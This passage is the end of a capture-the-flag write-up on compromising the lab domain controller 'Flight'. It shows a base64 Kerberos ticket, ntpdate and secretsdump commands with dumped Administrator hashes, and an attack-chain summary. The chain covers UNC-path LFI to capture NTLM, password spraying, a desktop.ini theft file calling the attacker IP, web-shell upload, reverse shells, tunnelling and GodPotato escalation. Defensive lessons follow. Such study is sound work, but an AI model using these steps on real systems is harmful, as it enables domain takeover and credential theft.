echo -n 'doIFVDCCBVCgAwIBBaEDAgEWooIEZDCCBGBhggRcMIIEWKADAgEFoQwbCkZMSUdIVC5IVEKiHzAdoAMCAQKhFjAUGwZrcmJ0Z3QbCkZMSUdIVC5IVEKjggQgMIIEHKADAgESoQMCAQKiggQOBIIECvaR9Y9OYdCRR2MrHefzSeyAl+lZntXkcgmtLBchgemKDk8x6Bm1gAJlRg2J/Lf3pjxzcaU17sSRZ4GLiCl9sbUk1r0Q5hZqcIwkGbeyG09ZJQl/DxxHm/bAhCNd+hP4ZZBJRBWCcVFv2+t9N4rSZd09nuw2qjhcBtjLR8sNMr5z5C7ZxXwwqamvN7XK6FioEnNnK5muPz+Os9dpUkDtQx/NJGXxNjLXxRZ3etYe0Q+BTpcrUn7zUM8GUZumwzrvlZ8g65cw9dGOV+7md2wAzLW2hwbqPDrZxuoBvvuUwLqYXJygfh8z9hCrLTyMstgrSvPFvV5hmpxVvY5QRMhDxuodiwNDGTz9AB1V6htqNEACnJY/7ghgtSAjXshTo4XgZ0Q81wz3ki4QdILlvyRXsFQkVS6OfonRKHQE8loUmrZcSCTUNWrg77XJVp/HIKZjYRQs9K2Hbo0wwM7cp44nCcZW6ii0TXcYJ9cYsXv/4CI+rsqHVCxRe0r/GNJoLvJEoo/Lf3bMMSXXzPFPkGZSXycaGalHnt/kT3idU/1Mer+rWvUlHH8HVGH0CEERngGPe0br2ONAI4PZHD3n+sH0wVG4K5FkVbNeV+ofJPcXB+UyKl9CfWy31Ne7K0JmXwUxT0uRbPTxqd3BsWdWp26w7zNjsWRC4/o8BbSvlpUA8tP6s00PcSBIQis7xrDRSSt/UzF9Y2B1n2qxdMgWz2VgMBznwZ2dETrktyXz37G+WUkZvm2hJDxMm5XbXfdQWP0gAfBOr9tiOEg/11nfV5n6pBJgYhwURTQO9mJGn1QXHLxEfeqBuZrFxpxYpC76h4sqDwmtK3nZXTz1zZFfgz38GBSfBPF9vdVqo7UnXBgM7qDf8Q2fN6HVfLJ590aBxfaKhuHbaj55ykf0cF4c1438qUPNWAx3R42YLMWKoxfTXLD3697oWT7JuVRObFLni1cbbqZlYnduhXZhQbx+viK/fsJob/cWvKncJp6zQZPIr38txp4pmLCqvkyfaYsTzzoC0T+6KItD4A5vAQm8FXh9DYSGh/JRfJetRExPDu8DZb3bldiPZbtMb7v7bFIuG7GDaA6+nzcB6STjyH6rPzoIv05Z3ADmFsfDpYdnG3PoF+GLbHdXeafQglIN5EhCBAMwP9vBqGrlI8cpX9VTdtogsWFl328c+IY2neTf85F7LmzxIPyo02GwdccZ1viIuSbgeSdnO/GHiNBvFacT/6oPJDPkdXe9NrjpjG10+x1H5rPbrwiXbP1BuhhXV19dx8pCcQG3GDaoNZF3O1ekqHnfQzTCuJEtAKmzzrf6DUzSQSpg/F7dU6aIsgE3rnEdofwv1am24aeSNDcwtym1lkDkfxkqGanaUQGEePdco4HbMIHYoAMCAQCigdAEgc19gcowgceggcQwgcEwgb6gKzApoAMCARKhIgQgkNweisqH9LmR3Kx2b61yUohO2NtJbPyyqoCS9khKI9WhDBsKRkxJR0hULkhUQqIQMA6gAwIBAaEHMAUbA0cwJKMHAwUAYKEAAKURGA8yMDI2MTEwNzAxMzU1MlqmERgPMjAyNjExMDcxMTM1NTJapxEYDzIwMjYxMTE0MDEzNTUyWqgMGwpGTElHSFQuSFRCqR8wHaADAgECoRYwFBsGa3JidGd0GwpGTElHSFQuSFRC' | base64 -d > ticket.kirbiimpacket-ticketConverter ticket.kirbi ticket.ccacheImpacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] converting kirbi to ccache... [+] done
And here comes back the fact the nmap had filed away at the very beginning: the nearly seven-hour skew. Kerberos rejects any request more than five minutes out, so before using the ticket the clock has to be synchronised with the domain's.
sudo ntpdate -u flight.htb2026-11-07 03:31:00.539868 (+0000) +25196.895689 +/- 0.012767 flight.htb 10.129.228.120 s1 no-leap CLOCK: time stepped by 25196.895689
The 25196 seconds it corrects are the 6 h 59 m 56 s the scan was measuring.
KRB5CCNAME=ticket.ccache impacket-secretsdump -k -no-pass g0.flight.htb -just-dc-user Administrator -target-ip 10.129.228.120Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:43bbfc530bab76141b12c8446e30c17c::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:08c3eb806e4a83cdc660a54970bf3f3043256638aea2b62c317feffb75d89322 Administrator:aes128-cts-hmac-sha1-96:735ebdcaa24aad6bf0dc154fcdcb9465 Administrator:des-cbc-md5:c7754cb5498c2a2f [*] Cleaning up...
The same Administrator hash as by the NTLM road, 43bbfc530bab76141b12c8446e30c17c, this time authenticating with a ticket (pass-the-ticket) and against the name g0.flight.htb, not against the IP: a Kerberos ticket is issued for a service name and is no good if asked for by address.
Attack chain#
ping ttl=127 → Windows / nmap: DC (88, 389, 445, 3268) + an 80 running XAMPP
│ clock-skew 6h59m (needed at the end)
▼
wfuzz Host: FUZZ.flight.htb --hh=7069 ─► school.flight.htb
│ index.php?view= with a blacklist: .. / filter / \ / htaccess / .shtml
▼
ffuf with an LFI-Windows wordlist ─► //localhost/C$/... (UNC, no .. no \)
│ view=//localhost/C$/xampp/htdocs/school.flight.htb/index.php ─► the code
▼
view=//10.10.15.120/test ─► responder ─► svc_apache's NTLMv2
│ john + rockyou ─► S@Ss!K@*t13
▼
rpcclient enumdomusers ─► 15 users ─► spray that password
│ [+] S.Moon and [+] svc_apache
▼
S.Moon can write to //flight.htb/Shared (.lnk .scf .url BLOCKED)
│ ntlm_theft ─► desktop.ini ─► IconResource=\\10.10.15.120\aa ─► accepted
▼
responder ─► c.bum's NTLMv2 ─► john ─► Tikkycoll_431012284
│ C.bum: the Web share goes from READ to READ,WRITE
▼
put shell.php into //flight.htb/Web/flight.htb ─► shell as svc_apache
│ RunasCs C.Bum + msfvenom shell.exe ─► shell as c.bum ─► user.txt
▼
Get-NetTCPConnection: an 8000 the scan never saw
│ chisel R:8000:127.0.0.1:8000 ─► IIS + ASP.NET on our own 127.0.0.1:8000
▼
icacls: flight\C.Bum:(OI)(CI)(W) over C:\inetpub\development
│ rev.aspx + curl 127.0.0.1:8000/rev.aspx ─► iis apppool\defaultapppool
▼
whoami /all: SeImpersonatePrivilege Enabled ─► GodPotato ─► SYSTEM ─► root.txt
│
├─ mimikatz: G0$'s NTLM ─► secretsdump -hashes ─► the whole NTDS
└─ rubeus tgtdeleg ─► ticketConverter ─► ntpdate ─► secretsdump -k
Administrator: 43bbfc53...Lessons learned#
- A blacklist describes what its author imagined, not what the function accepts. The
viewfilter forbids..,filterand the backslash, and it is well aimed at textbook traversal. What it did not see is that on Windowsfile_get_contentsalso speaks SMB, and a UNC path with forward slashes contains none of the forbidden strings. The good defence is not enumerating the bad, it is validating against a closed list of allowed files. - The same parameter that reads files can make the server call us. Pointing the LFI at a UNC path of our own turns a read into an outbound authentication, and at that point we are not stealing a file: we are stealing an identity. It is the same mechanism as the
desktop.ini, one layer in. - A service account's password is a person's password.
svc_apacheandS.Moonshared theirs, and the final NTDS dump confirms it with an identical hash. Spraying one password across the whole user list costs one command and locks nothing out. - Blocking
.lnk,.scfand.urlis blocking the tutorial's three examples.desktop.inidoes exactly the same thing, has no extension to filter and the explorer reads it just by displaying the folder. When a defence works by extension list, the job is finding the fourth one. - A port that does not show up in a
-p-is not a port that does not exist. The 8000 was listening all along; what was missing was a way to reach it.Get-NetTCPConnectionfrom the inside shows it, and a reverse tunnel brings it over, because a firewall that filters inbound traffic almost never filters outbound. - Check what a site is built with before picking the payload. The public site is Apache with PHP and the internal one is IIS with ASP.NET, on the same machine. Uploading another
.phpto the second would have returned the file as plain text. SeImpersonatePrivilegeturns any service account intoSYSTEM. It is neither a vulnerability nor a misconfiguration: every IIS application pool ships with it, because it needs it to do its job. What changes over the years is which Potato works on which Windows version, and that is whatsysteminfodecides.SYSTEMon a domain controller is the domain. The machine account living in its LSASS holds replication rights, so the jump from "admin of this box" to "every hash in the directory" is a single command. Which is why a DC should not be serving web pages.- A recon detail can take the whole writeup to become useful. The
clock-skew: 6h59mfrom thenmapgot in the way of neither SMB nor HTTP, but without fixing it withntpdateKerberos rejects the ticket. Worth writing down even when it means nothing at the time.